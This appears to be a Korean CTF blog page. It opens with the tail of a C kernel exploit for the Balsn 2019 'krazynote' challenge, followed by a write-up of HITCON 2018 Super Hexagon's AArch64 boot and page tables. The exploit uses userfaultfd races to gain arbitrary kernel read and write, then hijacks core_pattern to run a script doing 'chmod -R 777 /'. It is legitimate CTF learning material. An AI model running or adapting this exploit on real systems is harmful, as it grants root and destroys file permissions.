          "userfault_handler_for_leak_xor_key: msg.event != "
          "UFFD_EVENT_PAGEFAULT");
    }

    vuln_dev_reset();
    memset(page, 0, 0x100);
    vuln_dev_add(0, page);
    vuln_dev_add(0, page);
    vuln_dev_add(0, page);

    *(uint64_t*)(page) = vuln_dev_xor_key;
    *(uint64_t*)(page + 8) = 0x18 ^ vuln_dev_xor_key;

    copy.dst = (uint64_t)msg.arg.pagefault.address;
    copy.src = (uint64_t)page;
    copy.len = 0x1000;
    copy.mode = 0;
    copy.copy = 0;
    if (ioctl(uffd, UFFDIO_COPY, &copy) < 0) {
      fatal("userfault_handler: ioctl(UFFDIO_COPY)");
    }

    goto DONE_PAGE_FAULT;
  }

DONE_PAGE_FAULT:
  munmap(page, 0x1000);
  return NULL;
}

static uint64_t leak_vuln_dev_minus_page_offset_base() {
  char buf[0x100] = {
      0,
  };

  void* uffd_page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                         MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (uffd_page == MAP_FAILED) {
    fatal("mmap");
  }
  register_uffd(uffd_page, 0x1000,
                userfault_handler_for_vuln_dev_base_minus_page_offset_base);

  vuln_dev_reset();
  vuln_dev_add(0x10, uffd_page);
  vuln_dev_get(1, buf);
  vuln_dev_reset();

  munmap(uffd_page, 0x1000);

  uint64_t vuln_dev_base_minus_page_offset_base = *(uint64_t*)(buf + 0x10);
  return vuln_dev_base_minus_page_offset_base - 0x2568;
}

// functions for leaking vuln_dev_base

static void* userfault_handler_for_vuln_dev_base(void* args) {
  if (sched_setaffinity(0, sizeof(cpu_set_t), &target_cpu)) {
    fatal("sched_setaffinity");
  }

  int uffd = (int)(long)args;
  char* page = (char*)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                           MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (page == MAP_FAILED) {
    fatal("userfault_handler_for_leak_xor_key: mmap");
  }

  static struct uffd_msg msg;
  struct uffdio_copy copy;
  struct pollfd pollfd;

  pollfd.fd = uffd;
  pollfd.events = POLLIN;
  while (poll(&pollfd, 1, -1) > 0) {
    if (pollfd.revents & POLLERR || pollfd.revents & POLLHUP) {
      fatal("userfault_handler_for_leak_xor_key: poll");
    }

    if (read(uffd, &msg, sizeof(msg)) <= 0) {
      fatal("userfault_handler_for_leak_xor_key: read(uffd)");
    }
    if (msg.event != UFFD_EVENT_PAGEFAULT) {
      fatal(
          "userfault_handler_for_leak_xor_key: msg.event != "
          "UFFD_EVENT_PAGEFAULT");
    }

    vuln_dev_reset();
    memset(page, 0, 0x100);
    vuln_dev_add(0, page);
    vuln_dev_add(0, page);

    *(uint64_t*)(page) = vuln_dev_xor_key;
    *(uint64_t*)(page + 0x08) = 0x18 ^ vuln_dev_xor_key;
    *(uint64_t*)(page + 0x10) =
        (vuln_dev_base_minus_page_offset_base + VULN_DEV_MISC_FILE_OPS_OFFSET +
         8 * VULN_DEV_MISC_FILE_OPS_FLUSH_IDX) ^
        vuln_dev_xor_key;

    copy.dst = (uint64_t)msg.arg.pagefault.address;
    copy.src = (uint64_t)page;
    copy.len = 0x1000;
    copy.mode = 0;
    copy.copy = 0;
    if (ioctl(uffd, UFFDIO_COPY, &copy) < 0) {
      fatal("userfault_handler: ioctl(UFFDIO_COPY)");
    }

    goto DONE_PAGE_FAULT;
  }

DONE_PAGE_FAULT:
  munmap(page, 0x1000);
  return NULL;
}

static uint64_t leak_vuln_dev_base() {
  char buf[0x100] = {
      0,
  };

  void* uffd_page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                         MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (uffd_page == MAP_FAILED) {
    fatal("mmap");
  }
  register_uffd(uffd_page, 0x1000, userfault_handler_for_vuln_dev_base);

  vuln_dev_reset();
  vuln_dev_add(0x18, uffd_page);
  vuln_dev_get(1, buf);
  vuln_dev_reset();

  munmap(uffd_page, 0x1000);

  uint64_t tmp_vuln_dev_base = *(uint64_t*)(buf);
  return tmp_vuln_dev_base;
}

// functions for aar

uint64_t aar_addr;
size_t aar_size;
static void* userfault_handler_for_aar(void* args) {
  if (sched_setaffinity(0, sizeof(cpu_set_t), &target_cpu)) {
    fatal("sched_setaffinity");
  }

  int uffd = (int)(long)args;
  char* page = (char*)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                           MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (page == MAP_FAILED) {
    fatal("userfault_handler_for_leak_xor_key: mmap");
  }

  static struct uffd_msg msg;
  struct uffdio_copy copy;
  struct pollfd pollfd;

  pollfd.fd = uffd;
  pollfd.events = POLLIN;
  while (poll(&pollfd, 1, -1) > 0) {
    if (pollfd.revents & POLLERR || pollfd.revents & POLLHUP) {
      fatal("userfault_handler_for_leak_xor_key: poll");
    }

    if (read(uffd, &msg, sizeof(msg)) <= 0) {
      fatal("userfault_handler_for_leak_xor_key: read(uffd)");
    }
    if (msg.event != UFFD_EVENT_PAGEFAULT) {
      fatal(
          "userfault_handler_for_leak_xor_key: msg.event != "
          "UFFD_EVENT_PAGEFAULT");
    }

    vuln_dev_reset();
    memset(page, 0, 0x100);
    vuln_dev_add(0, page);
    vuln_dev_add(0, page);

    *(uint64_t*)(page) = vuln_dev_xor_key;
    *(uint64_t*)(page + 0x08) = aar_size ^ vuln_dev_xor_key;
    *(uint64_t*)(page + 0x10) =
        (aar_addr - page_offset_base) ^ vuln_dev_xor_key;

    copy.dst = (uint64_t)msg.arg.pagefault.address;
    copy.src = (uint64_t)page;
    copy.len = 0x1000;
    copy.mode = 0;
    copy.copy = 0;
    if (ioctl(uffd, UFFDIO_COPY, &copy) < 0) {
      fatal("userfault_handler: ioctl(UFFDIO_COPY)");
    }

    goto DONE_PAGE_FAULT;
  }

DONE_PAGE_FAULT:
  munmap(page, 0x1000);
  return NULL;
}

static void aar(void* out, uint64_t addr, uint64_t size) {
  if (size >= 0x100) {
    fatal("aar: size >= 0x100");
  }

  void* uffd_page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                         MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (uffd_page == MAP_FAILED) {
    fatal("mmap");
  }
  register_uffd(uffd_page, 0x1000, userfault_handler_for_aar);

  aar_addr = addr;
  aar_size = size;

  vuln_dev_reset();
  vuln_dev_add(0x18, uffd_page);
  vuln_dev_get(1, out);
  vuln_dev_reset();

  munmap(uffd_page, 0x1000);
}

// functions for aar

uint64_t aaw_addr;
size_t aaw_size;
static void* userfault_handler_for_aaw(void* args) {
  if (sched_setaffinity(0, sizeof(cpu_set_t), &target_cpu)) {
    fatal("sched_setaffinity");
  }

  int uffd = (int)(long)args;
  char* page = (char*)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                           MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (page == MAP_FAILED) {
    fatal("userfault_handler_for_leak_xor_key: mmap");
  }

  static struct uffd_msg msg;
  struct uffdio_copy copy;
  struct pollfd pollfd;

  pollfd.fd = uffd;
  pollfd.events = POLLIN;
  while (poll(&pollfd, 1, -1) > 0) {
    if (pollfd.revents & POLLERR || pollfd.revents & POLLHUP) {
      fatal("userfault_handler_for_leak_xor_key: poll");
    }

    if (read(uffd, &msg, sizeof(msg)) <= 0) {
      fatal("userfault_handler_for_leak_xor_key: read(uffd)");
    }
    if (msg.event != UFFD_EVENT_PAGEFAULT) {
      fatal(
          "userfault_handler_for_leak_xor_key: msg.event != "
          "UFFD_EVENT_PAGEFAULT");
    }

    vuln_dev_reset();
    memset(page, 0, 0x100);
    vuln_dev_add(0, page);
    vuln_dev_add(0, page);

    *(uint64_t*)(page) = vuln_dev_xor_key;
    *(uint64_t*)(page + 0x08) = aaw_size ^ vuln_dev_xor_key;
    *(uint64_t*)(page + 0x10) =
        (aaw_addr - page_offset_base) ^ vuln_dev_xor_key;

    copy.dst = (uint64_t)msg.arg.pagefault.address;
    copy.src = (uint64_t)page;
    copy.len = 0x1000;
    copy.mode = 0;
    copy.copy = 0;
    if (ioctl(uffd, UFFDIO_COPY, &copy) < 0) {
      fatal("userfault_handler: ioctl(UFFDIO_COPY)");
    }

    goto DONE_PAGE_FAULT;
  }

DONE_PAGE_FAULT:
  munmap(page, 0x1000);
  return NULL;
}

static void aaw(uint64_t addr, void* data, uint64_t size) {
  if (size >= 0x100) {
    fatal("aar: size >= 0x100");
  }

  void* uffd_page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                         MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (uffd_page == MAP_FAILED) {
    fatal("mmap");
  }
  register_uffd(uffd_page, 0x1000, userfault_handler_for_aaw);

  aaw_addr = addr;
  aaw_size = size;

  vuln_dev_reset();
  vuln_dev_add(0x18, uffd_page);
  vuln_dev_update(1, data);
  vuln_dev_reset();

  munmap(uffd_page, 0x1000);
}

static uint64_t leak_kernel_base() {
  uint64_t val;
  aar(&val, vuln_dev_base + VULN_DEV_OFFSET_TO_PTR_TO_KERNEL_BASE, 8);
  aar(&val, val, 8);
  return val - OFFSET_OF_KERNEL_ADDR_OBTAINED_BY_VULN_DEV;
}

// end of helper functions

static int overwrite_core_pattern(const char* new_core_pattern, size_t len) {
  aaw(kernel_base + CORE_PATTERN_OFFSET, (void*)new_core_pattern, len);

  int fd = open("/proc/sys/kernel/core_pattern", O_RDONLY);
  char buf[0x100] = {
      0,
  };
  read(fd, buf, 0x100);
  close(fd);

  if (strncmp(buf, new_core_pattern, len) != 0) {
    return -1;
  }
  return 0;
}

int main() {
  CPU_ZERO(&target_cpu);
  CPU_SET(0, &target_cpu);
  if (sched_setaffinity(0, sizeof(cpu_set_t), &target_cpu)) {
    fatal("sched_setaffinity");
  }

  vuln_dev_fd = open("/dev/" VULN_DEV_NAME, O_RDONLY);
  if (vuln_dev_fd < 0) {
    fatal("open(/dev/" VULN_DEV_NAME ")");
  }

  vuln_dev_xor_key = leak_xor_key();
  printf("[+] xor_key: 0x%lx\n", vuln_dev_xor_key);
  vuln_dev_base_minus_page_offset_base = leak_vuln_dev_minus_page_offset_base();
  printf("[+] vuln_dev_base_minus_page_offset_base: 0x%lx\n",
         vuln_dev_base_minus_page_offset_base);
  vuln_dev_base = leak_vuln_dev_base();
  printf("[+] vuln_dev_base: 0x%lx\n", vuln_dev_base);

  page_offset_base = vuln_dev_base - vuln_dev_base_minus_page_offset_base;
  printf("[+] page_offset_base: 0x%lx\n", page_offset_base);
  kernel_base = leak_kernel_base();
  printf("[+] kernel_base: 0x%lx\n", kernel_base);

  puts("[*] prepare for core_pattern");
  const char* new_core_pattern = "|//home/note/evil.sh";
  const size_t new_core_pattern_len = strlen(new_core_pattern);
  printf("[*] overwriting core_pattern to \"%s\"...\n", new_core_pattern);
  if (overwrite_core_pattern(new_core_pattern, new_core_pattern_len) < 0) {
    fatal("overwrite_core_pattern");
  }
  puts("[*] make //home/note/evil.sh...");
  system("echo -e '#!/bin/sh\nchmod -R 777 /' > //home/note/evil.sh");
  system("chmod +x //home/note/evil.sh");
  system("ulimit -c unlimited");

  uint64_t* evil_ptr = (uint64_t*)0xdeadbeefcafebebe;
  *evil_ptr = 0xdeadbeefcafebebe;

  close(vuln_dev_fd);
  return 0;
}

Reference

https://github.com/smallkirby/pwn-writeups/tree/master/balsn2019/krazynote/original

피에스타 3등!!

Thu, 31 Oct 2024 18:28:45 +0000

오예

HITCON 2018 - Super Hexagong

Sat, 17 Aug 2024 16:19:45 +0000

super hexagon 은 HITCON2018 에 나온 AArch64 문제이다.
이 문제의 목표는 NS.EL0 에서 S.EL1 와 EL3 를 포함한 모든 Exception Level 에서 플래그를 읽는 것이다.

Bios.bin

동작 분석

Overview

문제에서는 bios.bin 파일이 주어진다. qemu 로 해당 바이오스를 실행하면 다음과 같은 문자가 출력되는 것을 볼 수 있다.

NOTICE:  UART console initialized
INFO:    MMU: Mapping 0 - 0x2844 (783)
INFO:    MMU: Mapping 0xe000000 - 0xe204000 (40000000000703)
INFO:    MMU: Mapping 0x9000000 - 0x9001000 (40000000000703)
NOTICE:  MMU enabled
NOTICE:  BL1: HIT-BOOT v1.0
INFO:    BL1: RAM 0xe000000 - 0xe204000
INFO:      SCTLR_EL3: 30c5083b
INFO:      SCR_EL3:   00000738
INFO:    Entry point address = 0x40100000
INFO:    SPSR = 0x3c9
VERBOSE: Argument #0 = 0x0
VERBOSE: Argument #1 = 0x0
VERBOSE: Argument #2 = 0x0
VERBOSE: Argument #3 = 0x0
NOTICE:  UART console initialized
[VMM] RO_IPA: 00000000-0000c000
[VMM] RW_IPA: 0000c000-0003c000
[KERNEL] mmu enabled
INFO:      TEE PC: e400000
INFO:      TEE SPSR: 1d3
NOTICE:  TEE OS initialized
[KERNEL] Starting user program …

=== Trusted Keystore ===

Command:
    0 - Load key
    1 - Save key

cmd>

위 문구를 보고 동작을 나누면 다음과 같다.

EL3 의 MMU 설정 및 활성화
EL2 의 MMU(IPA) 설정 및 활성화
TrustOS 설정
EL0 User Program 실행

Translation Overview

EL3 에서 EL0 에서 사용되는 페이징 구조는 다음과 같다.

EL3

EL3 의 EntryPoint 는 bios.bin 의 0x0000_0000 에 위치한다.

부팅을 할 떄 EL3 에서 하는 동작은 다음과 같다:

EL3 레지스터 설정
Exception Handler 설정
UART 설정
MMU 설정
- Translation Table 설정
- VA -> IPA 설정
EL2 및 EL1 바이너리 복사
EL2 로 넘어가면서 EL2 의 EntryPoint(0x40100000) 실행

EL3 레지스터 설정

설정하는 레지스터는 다음과 같다:

SCTLR_EL3: 0x30C50830; EIS=1, EOS=1, A=1, SA=1, I=1
- EIS: The taking of an exception to EL3 is a context synchronizing event.
- EOS: An exception return from EL3 is a context synchronizing event
- A: Alignment fault checking is enabled when executing at EL3. All instructions that load or store one or more registers have an alignment check that the address being accessed is aligned to the size of the data element(s) being accessed. If this check fails it causes an Alignment fault, which is taken as a Data Abort exception.
- SA: if a load or store instruction executed at EL3 uses the SP as the base address and the SP is not aligned to a 16-byte boundary, then a SP alignment fault exception is generated. For more information, see ‘SP alignment checking’.
- I: This control has no effect on the Cacheability of instruction access to Normal memory from EL3. If the value of SCTLR_EL3.M is 0, instruction accesses from stage 1 of the EL3 translation regime are to Normal, Outer Shareable, Inner Write-Through, Outer Write-Through memory.
SCR_EL3: 0x238; EA=1, TWE=1
- EA: When executing at any Exception level, External aborts and SError exceptions are taken to EL3.
- TWE: Any attempt to execute a WFE instruction at any Exception level lower than EL3 is trapped to EL3, if the instruction would otherwise have caused the PE to enter a low-power state and it is not trapped by SCTLR.nTWE, HCR.TWE, SCTLR_EL1.nTWE, SCTLR_EL2.nTWE, or HCR_EL2.TWE.
MDCR_EL3: 0x18000; SDD=1, SPD32=0b10
- SDD: Debug exceptions, other than Breakpoint Instruction exceptions, are disabled from all Exception levels in Secure state.
- SPD32: Secure privileged debug disabled. Debug exceptions from Secure EL1 are disabled.
DAIF: 0x160; D=1, I=1, F=1
- Debug, IRQ, FIQ 를 무시하고 SError 만 허용한다.
CPTR_EL3: 0x00
SPSEL: 수시로 바뀜

Exception Handler 설정

IVT 를 설정하는 레지스터인 VBAR_EL3는 0x2000 으로 설정된다. 해당 주소를 보면 총 16 개의 Exception Handler 가 존재한다.
하지만 이 중 유의미한 동작을 하는 Handler 는 자신보다 낮은 EL 에서 발생하는 Synchronous Exception 을 처리하는 2 개의 Handler 밖에 없다. 그리고 이 2 개의 Handler 도 TrustOS 를 초기화하는 비슷한 동작을 수행한다.

MMU 설정

여기서 설정하는 레지스터는 다음과 같다:

TCR_EL3: 0x100022; T0SZ=34, TBI=1
- T0SZ: The size offset of the memory region addressed by TTBR0_EL3. The region size is $2^{(64-\{T0SZ})}$ bytes.
- TBI: Top Byte ignored in the address calculation.
MAIR_EL3: 0xDD440400
- Attr0=0x00; Device-nGnRnE
- Attr1=0x04; Device-nGnRE
- Attr2=0x44; Device-nGnRE, (If FEAT_XS is implemented) Normal Inner Non-cacheable, Outer Non-cacheable
- Attr3=0xDD; Unpredictable
SCTLR_EL3: M |= 1
- M: EL3 stage 1 address translation enabled.
TTBR0_EL3: 0xe203000 ->
- 0x00: 0xE003003 (Entry: 0xE003000) ->
  - 0x0: 0x783
  - 0x1: 0x1783
  - 0x2: 0x2783
  - 0x3: 0 …
- 0x47: 0xE004003 … -> 0
- 0x48: 0xE04B003 (Entry: 0xE04B000) ->
  - 0x0: 0x40000009000703
  - 0x1: 0 …
- 0x6F: 0xE04C003 … -> 0
- 0x70: 0xE073003 (Entry: 0xE073000) ->
  - 0x0000: 0x4000000E000703
  - 0x0001: 0x4000000E001703
  - 0x0002: 0x4000000E002703
  - …
  - 0x01FF: 0x4000000E203703
- 0x71: 0xE074003 (Entry: 0xE074000) ->
  - 0x0: 0x4000000E200703
  - 0x1: 0x4000000E201703
  - 0x2: 0x4000000E202703
  - 0x3: 0x4000000E203703
  - 0x4: 0 …
- 0xE075003 … 0xE202003-> 0

T0SZ=34 이기 때문에 OA 는 0~29 비트만 사용할 수 있다. 또한 TCR_EL3.DS=0 이고 TCR_EL3.PS=0b000 이기 때문에 32-bit OA 를 사용한다. 즉, Level 2 와 Level 3 만 사용한다. 따라서 두 번째로 나타나는 Entry 는 Page Entry 이다.
이 점을 생각하면서 테이블에 있는 Page Entry 를 해석하면 다음과 같다:

0x00: 0xE003003 -> 0xn783:
- 1 번째 비트가 1 이므로 Page Entry 를 사용
- AF = 1
- SH[1:0] = 0b11
- AP = 0b10; PrivRead
- AttrIndx = 0
- IA = 0xn000 ((0x00 << 21) + (0xn << 12)) (0 <= n <= 2)
- OA = 0xn000 (0x00 <= n <= 2)
0x48: 0xE04B003 -> 0x40000009000703:
- 1 번째 비트가 1 이므로 Page Entry 를 사용
- AF = 1
- AP=0b00; PrivRead, PrivWrite
- SH[1:0] = 0b11
- XN = 1
- AttrIndx = 0
- IA = 0x9000000 ((0x48 << 21) + (0x0 << 12))
- OA = 0x9000000
0x70: 0xE073003 -> 0x4000000Ennn703:
- 1 번째 비트가 1 이므로 Page Entry 를 사용
- AF = 1
- AP = 0b00; PrivRead, PrivWrite
- SH[1:0] = 0b11
- XN = 1
- AttrIndx = 0
- IA = 0xEnnn000 ((0x70 << 21) + (0xnnn << 12)) (0 <= nnn <= 0x01FFF)
- OA = 0xEnnn000
0x71: 0xE074003 -> 0x4000000E20n703:
- 1 번째 비트가 1 이므로 Page Entry 를 사용
- AF = 1
- AP = 0b00; PrivRead, PrivWrite
- SH[1:0] = 0b11
- XN = 1
- AttrIndx = 0
- IA = 0xE20n000 ((0x71 << 21) + (0xn << 12)) (0 <= n <= 3)
- OA = 0xE20n000

EL2 및 EL1 바이너리 복사

EL2 의 코드 영역을 0x40100000 에 복사하고 EL1 의 코드 영역 (Translation Table 포함) 을 0x40000000 에 복사한다.
그 외에도 TEE 와 관련된 데이터를 0xE000000 와 0xE400000(TEE PC) 에 복사한다. 참고로 TrustZone 을 실행할 때 SPSR=0x1d3 이기 때문에 nRW=1 이다. 따라서 TrustZone 은 AArch32 로 동작한다.

EL2 로 넘어가면서 EL2 의 EntryPoint 실행

이 때 설정하는 레지스터는 다음과 같다:

SCR_EL3: 0x731; HCE=1, NS=1, SIF=1, RW=1
- HCE: The HVC instruction is enabled at EL1, EL2 or EL3.
- EL0 and EL1 are in Non-secure state, memory accesses from those exception levels cannot access Secure memory.
- SIF: Secure state instruction fetches from Non-secure memory are not permitted.
- RW: The next lower level is AArch64.

그리고 EL2 로 넘어가면서 EntryPoint 를 실행하기 위해 설정하는 레지스터는 다음과 같다:

SPSR_EL3: 0x3c9; D=1, A=1, I=1, F=1, EL2
ELR_EL3: 0x40100000

그리고 ERET 을 통해 EL2 의 EntryPoint 를 실행한다.

EL2

EL2 의 Entry Point 는 bios.bin 의 0x0001_0000 에 위치한다. 메모리에 로드되면 0x40100000 에 위치한다.
부팅을 할 때 EL2 에서 수행하는 동작은 다음과 같다:

EL2 레지스터 설정
Exception Handler 설정
UART 설정
MMU 설정
- Translation Table 설정
- VA -> IPA 설정
EL1 으로 넘어가면서 EL1 의 EntryPoint(EL1_VA:0x00 = PA:0x40000000) 실행

EL2 레지스터 설정

EL2 에서 설정하는 레지스터는 다음과 같다:

CPACR_EL1: 0x300000; FPEN=0b11
- FPEN: 하위 권한이 EL2 의 SIMD 에 접근할 때 Trap 을 발생시키지 않는다.
SPSEL: 수시로 바뀜

Exception Handler 설정

IVT 를 설정하는 레지스터인 VBAR_EL2 는 0x40101800 로 설정된다. 이 곳에는 Lower EL using AArch64 Synchronous Exception 을 제외한 다른 예외는 아무런 동작을 하지 않게 설정되어 있다.

Lower EL using AArch64 Synchronous Exception 에서는 ESR_EL2.EC 에 따라서 두 가지 동작을 수행한다:

ESR_EL2.EC == 0x16: EL2 의 권한으로 Translation Table 의 Entry 를 변경한다
ESR_EL2.EC == 0x17: SMC 0x00 을 통해 EL3 Exception 을 발생시켜 TEE-OS 를 초기화한다.

MMU 설정

여기서 설정하는 레지스터는 다음과 같다:

VTCR_EL2: 0x80000027; T0SZ=39, DS=0, PS=0b000
VTTBR_EL2: 0x40106000 ->
- 0x00: 0x40107003 (Descriptor Entry: 0x40107000) ->
  - 0x00: 0x40000443 (Page Entry)
  - 0x01: 0x40001443 (Page Entry)
  - …
  - 0x0B: 0x4000B443 (Page Entry)
  - 0x0C: 0x4000004000C4C3 (Page Entry)
  - 0x0D: 0x4000004000D4C3 (Page Entry)
  - …
  - 0x3A: 0x4000004003A4C3 (Page Entry)
  - 0x3B: 0x400000090004C3 (Page Entry)
  - 0x3C: 0 …
- 0x08: 0 …

여기서 V~_EL2 라는 것은 EL1 과 EL0 의 IPA 를 설정하는 것이다. 즉 이 설정으로 인해 EL2 에서 Translation 이 발생하지는 않는다.

VTCR_EL2.T0SZ=39 이기 때문에 VA 는 0~24 비트만 사용할 수 있다. 그리고 VTCR_EL2.PS=0b000 이기 때문에 32bit OA 를 사용한다. 즉, Level 2 와 Level 3 만 사용한다. 따라서 두 번째로 나타나는 Entry 는 Page Entry 이다.
이 점을 생각하면서 테이블에 있는 Page Entry 를 해석하면 다음과 같다:

0x00: 0x40107003 (Descriptor Entry: 0x40107000) ->
- 0x00: 0x40000443 ~ 0x0B: 0x4000B443:
  - 1 번째 비트가 1 이므로 Page Entry 를 사용
  - AF = 1
  - S2AP = 0b01; EL0&EL1 can read this memory
  - IPA = 0xn000 ((0x00 << 21) + (0xn << 12)) (0x00 <= n < 0x0C)
  - OA = 0x4000n000
- 0x0C: 0x4000004000C4C3 ~ 0x3A: 0x4000004003A4C3:
  - 1 번째 비트가 1 이므로 Page Entry 를 사용
  - NX = 1 (FEAT_XNX is not implemented)
  - AF = 1
  - S2AP = 0b11; EL0&EL1 can read and write this memory
  - IPA = 0x0nn000 ((0x00 << 21) + (0xnn << 12)) (0x0C <= nn < 0x3B)
  - OA = 0x400nn000
- 0x3B: 0x400000090004C3
  - 1 번째 비트가 1 이므로 Page Entry 를 사용
  - NX = 1 (FEAT_XNX is not implemented)
  - AF = 1
  - S2AP = 0b11; EL0&EL1 can read and write this memory
  - IPA = 0x03B000 ((0x00 << 21) + ((0x3B) << 12))
  - OA = 0x9000000

EL1 으로 넘어가면서 EL1 의 EntryPoint 실행

이때 설정하는 레지스터는 다음과 같다:

HCR_EL2: 0xc4080001; RW=1, TRVM=1, TVM=1, TSC=1, VM=1
- RW: EL1 is AArch64. EL0 is determined by the register width described in the current processing state when executing at EL0.
- TRVM: Non-secure EL1 reads are trapped to EL2.
- TVM: DC ZVA instruction is trapped to EL2 when executed in Non-secure EL1 or EL0.
- TSC: SMC instruction executed in Non-secure EL1 is trapped to EL2 for AArch32 and AArch64 Execution states.
- VM: Enables second stage translation for execution in Non-secure EL1 and EL0.

그리고 EL1 으로 넘어가기 위해 사용하는 레지스터는 다음과 같다:

SPSR_EL2: 0x3c5; E=1, A=1, I=1, F=1, EL1
ELR_EL2: VA:0x00 (PA:0x40000000)

그리고 ERET 을 통해 EL1 의 EntryPoint 를 실행한다.

EL1

EL1 의 EntryPoint 는 bios.bin 의 0x000B_0000 에 위치한다. 메모리에 로드되면 EL1_VA:0x00(= PA:0x40000000) 에 위치한다.

부팅을 할 때 EL1 에서 수행하는 동작은 다음과 같다:

레지스터 설정
MMU 설정
Exception Handler 설정 (Main Routine 에서)
Main Routine 호출
SMC 호출 (Main Routine 에서)
EL0 호출 (Main Routine 에서)

레지스터 설정

EL1 의 EntryPoint 에서 설정하는 레지스터는 다음과 같다:

TCR_EL1: 0x6080100010; TBI1=1, TBI0=1, TG1=0b10, T1SZ=0x10, T0SZ=0x10
- TBI<n>: Top Byte Ignored for TTBR<n>_EL1
- TG<n>: Granule size for the TTBR<n>_EL1
- T<n>SZ: The size offset of the memory region addressed by TTBR<n>_EL1
SCTLR_EL1: 0x30d00801; LSMAOE=1, nTLSMD=1, SPAN=1, EIS=1, TSCXT=1, EOS=1, M=1
SPSEL: 수시로 바뀜

MMU 설정

TTBR0_EL1: 0x1000 ->
- 0x00: 0x2003 ->
  - 0x00: 0x3003 ->
    - 0x00: 0x401
    - 0x01: 0 …
  - 0x01:0 …
- 0x01: 0 …
TTBR1_EL1: 0x4000 ->
- 0x0000: 0 …
- 0x01FF:0x5003 ->
  - 0x0000: 0 …
  - 0x01FF:0x6003 ->
    - 0x00: 0x401
    - 0x01: 0 …
    - 0x07: 0x7003 ->
      - 0x0000: 0 …
      - 0x01FF: 0x3b403
    - 0x08: 0 …

TCR_EL1.T1SZ = TCR_EL1.T0SZ = 16 인 것을 생각하면서 위 테이블을 해석하면 다음과 같다.

TTBR0_EL1 ->
- 0x00: 0x2003 ->
  - 0x00: 0x3003 ->
    - 0x00: 0x401
      - 2MB Block
      - AF = 1
      - IA = 0x0000
      - IPA = 0x0000
    - 0x01: 0 …
  - 0x01:0 …
- 0x01: 0 …
TTBR1_EL1 ->
- 0x0000: 0 …
- 0x01FF:0x5003 ->
  - 0x0000: 0 …
  - 0x01FF:0x6003 ->
    - 0x00: 0x401
      - 2MB Block
      - AF = 1
      - IA = 0xFFFFFFFFC0000000 ((0xFFFF << 48) + (0x1FF << 39) + (0x1FF << 30))
      - IPA = 0x0000
    - 0x01: 0 …
    - 0x07: 0x7003 ->
      - 0x0000: 0 …
      - 0x01FF: 0x3b403
        
        4KB Page
        
        AF = 1
        
        IA = 0xFFFFFFFFC0FFF000 ((0xFFFF << 48) + (0x1FF << 39) + (0x1FF << 30) + (0x7 << 21) + (0x1FF << 12))
        
        IPA = 0x3B000
    - 0x08: 0 …

Main Routine 호출

VA:0xFFFFFFFFC0008000(-> IPA:0x8000 -> PA:0x40008000; EL1_MainRoutine) 을 단순히 BR 로 호출한다.

EL1 의 MainRoutine 는 bios.bin 의 0x000B_8000 에 위치한다. 메모리에 로드되면 EL1_VA:0xFFFFFFFFC0008000(= PA:0x40008000) 에 위치한다.

Exception Handler 설정

VBAR_EL1: 0xffffffffc000a000
- VA:0xFFFFFFFFC000A000 = IPA:0xA000 = PA:0x4000A000
  다른 EL 과 마찬가지로 대부분의 핸들러는 별다른 동작을 하지 않으며 낮은 EL 에서 발생하는 Synchronous Exception 만 처리한다.

해당 Synchronous Exception 에서 System Call 들을 정의하고 있으며 존재하는 Syscall 들은 다음과 같다:

read
write
mmap
mprotect
exit
여기서 mmap 과 mprotect 는 ttbr0_el1 의 entry 를 수정하고 hvc 를 통해 vttbr0_el2 를 수정한다.

그리고 secure call 도 정의되어 있다:

tc_init_trustlet
tc_register_wsm
tc_tci_call
이 secure call 들은 smc 를 호출한다.

MMU 설정

TTBR0_EL1: 0x20000 ->
- 0x0000: 0x21003 ->
  - 0x00: 0x22003 ->
    - 0x00: 0 …
    - 0x02: 0x23003 ->
      - 0x00: 0x2000000002C4C3
      - 0x01: 0x2000000002D4C3
      - 0x02: 0x2000000002E4C3
      - 0x03: 0 …
      - 0x12: 0x6000000002F443
      - 0x13: 0…
    - 0x03: 0 …
  - 0x01: 0 …
- 0x0001: 0 …
- 0x00FF: 0x24003 ->
  - 0x0000: 0 …
  - 0x01FD: 0x25003 ->
    - 0x0000: 0 …
    - 0x01FF: 0x26003 ->
      - 0x0000: 0 …
      - 0x01FE: 0x60000000030443
      - 0x01FF: 0x60000000031443
- 0x0100: 0 …
TTBR1_EL1: 0x1B000 ->
- 0x000: 0 …
- 0x01FF: 0x1C003 ->
  - 0x000: 0 …
  - 0x01FF: 0x1D003 ->
    - 0x00: 0x1E003 ->
      - 0x00: 0x40000000000483
      - 0x01: 0x40000000001483
      - …
      - 0x0A: 0x4000000000A483
      - 0x0B: 0
      - 0x0C: 0x6000000000C403
      - 0x0D: 0x6000000000D403
      - …
      - 0x3A: 0x6000000003A403
      - 0x3B: 0 …
    - 0x01: 0 …
    - 0x48: 0x1F003 ->
      - 0x00: 0x6000000003b403
      - 0x01: 0 …

마찬가지로 TCR_EL1.T1SZ = TCR_EL1.T0SZ = 16 인 것을 생각하면서 위 테이블을 해석하면 다음과 같다.

TTBR0_EL1 ->
- 0x0000: 0x21003 ->
  - 0x00: 0x22003 ->
    - 0x00: 0 …
    - 0x02: 0x23003 ->
      - 0x00: 0x2000000002C4C3 - 0x02: 0x2000000002E4C3
        
        PXN = 1
        
        AF = 1
        
        AP = 0b11; PrivRead, UnprivRead
        
        IA: 0x40n000 ((0 << 39) + (0 << 30) + (0x02 << 21) + (n << 12)) (0x00 <= n <= 0x02)
        
        IPA: 0x2n000 (0xC <= n <= 0xE)
      - 0x03: 0 …
      - 0x12: 0x6000000002F443
        
        UXN = 1
        
        PXN or PIIndex[2] = 1
        
        AF = 1
        
        AP = 0b01; PrivRead, PrivWrite, UnprivRead, UnprivWrite
        
